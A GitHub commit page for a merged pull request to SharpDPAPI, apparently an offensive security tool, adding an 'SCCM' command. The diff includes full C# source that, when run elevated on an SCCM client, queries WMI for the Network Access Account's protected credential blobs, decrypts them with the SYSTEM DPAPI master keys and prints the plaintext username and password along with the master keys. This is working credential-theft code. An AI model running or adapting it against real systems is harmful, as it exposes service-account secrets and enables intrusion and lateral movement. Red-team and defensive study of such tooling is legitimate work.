Merge pull request #13 from subat0mik/master

Added SCCM command
This commit is contained in:
Will authored and GitHub committed 2022-05-17 11:11:20 -07:00
commit e52d744da9
4 files changed
+264 -1

No files matched your search

+4 -1
View File
@@ -49,6 +49,7 @@ SharpDPAPI is licensed under the BSD 3-Clause license.
- [blob](#blob)
- [backupkey](#backupkey)
- [search](#search)
- [sccm](#sccm)
- [SharpChrome Commands](#sharpchrome-commands)
- [logins](#logins)
- [cookies](#cookies)
@@ -1222,7 +1223,7 @@ Retrieve the DPAPI backup key for the specified DC, outputting the backup key to
#### search
The **search** comand will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage:
The **search** command will search for potential DPAPI blobs in the registry, files, folders, and base64 blobs. Usage:
```
SharpDPAPI.exe search /type:registry [/path:HKLM\path\to\key] [/showErrors]
SharpDPAPI.exe search /type:folder /path:C:\path\to\folder [/maxBytes:<numOfBytes>] [/showErrors]
@@ -1243,6 +1244,8 @@ When searching a file or folder, specify a path with `/path:C:\Path\to\file\or\f
When searching a base64 blob, specify the base64-encoded bytes to scan with the `/base64:<base64 str>` parameter.
#### SCCM
If elevated on a machine that is an SCCM client, if the SCCM environment is configured with a Network Access Account (NAA), the system master key-protected DPAPI blobs containing the NAA credentials can be retrieved via WMI; The **SCCM** command will query the blobs via WMI, retrieve the system master keys, and decrypt the blobs.
## SharpChrome Commands
+257
View File
@@ -0,0 +1,257 @@
using System;
using System.Text;
using System.Collections.Generic;
using System.Linq;
using System.Management;
namespace SharpDPAPI.Commands
{
public class SCCM : ICommand
{
public static string CommandName => "SCCM";
public static ManagementScope NewSccmConnection(string path)
{
ConnectionOptions connection = new ConnectionOptions();
ManagementScope sccmConnection = new ManagementScope(path, connection);
try
{
Console.WriteLine($"[+] Connecting to {sccmConnection.Path}");
sccmConnection.Connect();
}
catch (System.UnauthorizedAccessException unauthorizedErr)
{
Console.WriteLine("[!] Access to WMI was not authorized (user name or password might be incorrect): " + unauthorizedErr.Message);
}
catch (Exception e)
{
Console.WriteLine("[!] Error connecting to WMI: " + e.Message);
}
return sccmConnection;
}
public static string[] GetKeyPropertyNames(ManagementScope sccmConnection, string className)
{
using (ManagementClass managementClass = new ManagementClass(sccmConnection, new ManagementPath(className), new ObjectGetOptions()))
{
return managementClass.Properties
.Cast<PropertyData>()
.Where(
property => property.Qualifiers
.Cast<QualifierData>()
.Any(qualifier => string.Equals(qualifier.Name, "Key", StringComparison.OrdinalIgnoreCase))
)
.Select(property => property.Name)
.ToArray();
}
}
public static void GetClassInstances(ManagementScope scope, string wmiClass, bool count = false, string[] properties = null, string whereCondition = null, string orderByColumn = null, bool dryRun = false, bool verbose = false)
{
try
{
string query = "";
string propString = "";
string whereClause = "";
string orderByClause = "";
if (verbose || count || properties == null)
{
propString = "*";
}
else
{
string[] keyPropertyNames = GetKeyPropertyNames(scope, wmiClass);
properties = keyPropertyNames.Union(properties).ToArray();
propString = string.Join(",", properties);
}
if (!string.IsNullOrEmpty(whereCondition))
{
whereClause = $"WHERE {whereCondition}";
}
if (!string.IsNullOrEmpty(orderByColumn))
{
orderByClause = $"ORDER BY {orderByColumn}";
}
if (count)
{
query = $"SELECT COUNT({propString}) FROM {wmiClass} {whereClause}";
}
else
{
query = $"SELECT {propString} FROM {wmiClass} {whereClause} {orderByClause}";
}
if (dryRun)
{
Console.WriteLine($"[+] WQL query: {query}");
}
else
{
Console.WriteLine($"[+] Executing WQL query: {query}");
ObjectQuery objQuery = new ObjectQuery(query);
ManagementObjectSearcher searcher = new ManagementObjectSearcher(scope, objQuery);
Console.WriteLine("-----------------------------------");
Console.WriteLine(wmiClass);
Console.WriteLine("-----------------------------------");
foreach (ManagementObject queryObj in searcher.Get())
{
// Get lazy properties unless we're just counting instances
if (!count)
{
queryObj.Get();
}
foreach (PropertyData prop in queryObj.Properties)
{
// Print default properties if none specified, named properties if specified, or all properties if verbose
if (properties == null || properties.Length == 0 || properties.Contains(prop.Name) || count || verbose)
{
if (prop.IsArray)
{
// Test to see if we can display property values as strings, otherwise bail. Byte[] (e.g., Device.ObjectGUID) breaks things, Object[] (e.g., Collection.CollectionRules, Collection.RefreshSchedule) breaks things
if (prop.Value is String[])
{
String[] nestedValues = (String[])(prop.Value);
Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValues)}");
}
else if (prop.Value is int[])
{
int[] nestedValues = (int[])(prop.Value);
string[] nestedValueStrings = nestedValues.Select(x => x.ToString()).ToArray();
Console.WriteLine($"{prop.Name}: {string.Join(", ", nestedValueStrings)}");
}
else
{
string canConvertToString = prop.Value as string;
if (canConvertToString != null)
{
Console.WriteLine($"{prop.Name}: {canConvertToString}");
}
else
{
Console.WriteLine($"{prop.Name}: Can't display {prop.Type.ToString()} as a String");
}
}
}
else
{
Console.WriteLine("{0}: {1}", prop.Name, prop.Value);
}
}
}
Console.WriteLine("-----------------------------------");
}
}
}
catch (ManagementException err)
{
Console.WriteLine("An error occurred while querying for WMI data: " + err.Message);
}
}
public static void NAADecrypt(string blob, Dictionary<string, string> masterkeys)
{
byte[] blobBytes = new byte[blob.Length / 2];
for (int i = 0; i < blob.Length; i += 2)
{
blobBytes[i / 2] = Byte.Parse(blob.Substring(i, 2), System.Globalization.NumberStyles.HexNumber);
}
var offset = 4;
byte[] unmangedArray = new byte[blob.Length / 2];
Buffer.BlockCopy(blobBytes, 4, unmangedArray, 0, blobBytes.Length - offset);
blobBytes = unmangedArray;
if (blobBytes.Length > 0)
{
byte[] decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, masterkeys, "blob");
if ((decBytesRaw != null) && (decBytesRaw.Length != 0))
{
if (Helpers.IsUnicode(decBytesRaw))
{
string data = "";
int finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0);
if (finalIndex > 1)
{
byte[] decBytes = new byte[finalIndex + 1];
Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex);
data = Encoding.Unicode.GetString(decBytes);
}
else
{
data = Encoding.ASCII.GetString(decBytesRaw);
}
Console.WriteLine(" dec(blob) : {0}", data);
}
else
{
string hexData = BitConverter.ToString(decBytesRaw).Replace("-", " ");
Console.WriteLine(" dec(blob) : {0}", hexData);
}
}
}
}
public static void LocalNetworkAccessAccountsWmi()
{
if (!Helpers.IsHighIntegrity())
{
Console.WriteLine("[X] Must be elevated to triage SYSTEM DPAPI Credentials!");
}
else
{
ManagementScope sccmConnection = NewSccmConnection("\\\\localhost\\root\\ccm\\policy\\Machine\\ActualConfig");
GetClassInstances(sccmConnection, "CCM_NetworkAccessAccount");
ManagementObjectSearcher searcher = new ManagementObjectSearcher(sccmConnection, new ObjectQuery("SELECT * FROM CCM_NetworkAccessAccount"));
ManagementObjectCollection accounts = searcher.Get();
if (accounts.Count > 0)
{
foreach (ManagementObject account in accounts)
{
string protectedUsername = account["NetworkAccessUsername"].ToString().Split('[')[2].Split(']')[0];
string protectedPassword = account["NetworkAccessPassword"].ToString().Split('[')[2].Split(']')[0];
byte[] protectedUsernameBytes = Helpers.StringToByteArray(protectedUsername);
int length = (protectedUsernameBytes.Length + 16 - 1) / 16 * 16;
Array.Resize(ref protectedUsernameBytes, length);
Dictionary<string, string> mappings = Triage.TriageSystemMasterKeys();
Console.WriteLine("\r\n[*] SYSTEM master key cache:\r\n");
foreach (KeyValuePair<string, string> kvp in mappings)
{
Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value);
}
Console.WriteLine();
try
{
NAADecrypt(protectedUsername, mappings);
NAADecrypt(protectedPassword, mappings);
}
catch (Exception e)
{
Console.WriteLine("[!] Data was not decrypted. An error occurred.");
Console.WriteLine(e.ToString());
}
}
}
else
{
Console.WriteLine($"[+] Found 0 instances of CCM_NetworkAccessAccount");
}
}
}
public void Execute(Dictionary<string, string> arguments)
{
Console.WriteLine("\r\n[*] Action: SCCM Triage");
arguments.Remove("SCCM");
LocalNetworkAccessAccountsWmi();
}
}
}
+1
View File
@@ -32,6 +32,7 @@ namespace SharpDPAPI.Domain
_availableCommands.Add(Vaults.CommandName, () => new Vaults());
_availableCommands.Add(Certificate.CommandName, () => new Certificate());
_availableCommands.Add(Search.CommandName, () => new Search());
_availableCommands.Add(SCCM.CommandName, () => new SCCM());
}
public bool ExecuteCommand(string commandName, Dictionary<string, string> arguments)
+2
View File
@@ -53,6 +53,7 @@
<ItemGroup>
<Reference Include="System" />
<Reference Include="System.Core" />
<Reference Include="System.Management" />
<Reference Include="System.Security" />
<Reference Include="System.Xml.Linq" />
<Reference Include="System.Data.DataSetExtensions" />
@@ -71,6 +72,7 @@
<Compile Include="Commands\Machinemasterkeys.cs" />
<Compile Include="Commands\Machinetriage.cs" />
<Compile Include="Commands\Machinevaults.cs" />
<Compile Include="Commands\SCCM.cs" />
<Compile Include="Commands\Search.cs" />
<Compile Include="Commands\PS.cs" />
<Compile Include="Commands\RDG.cs" />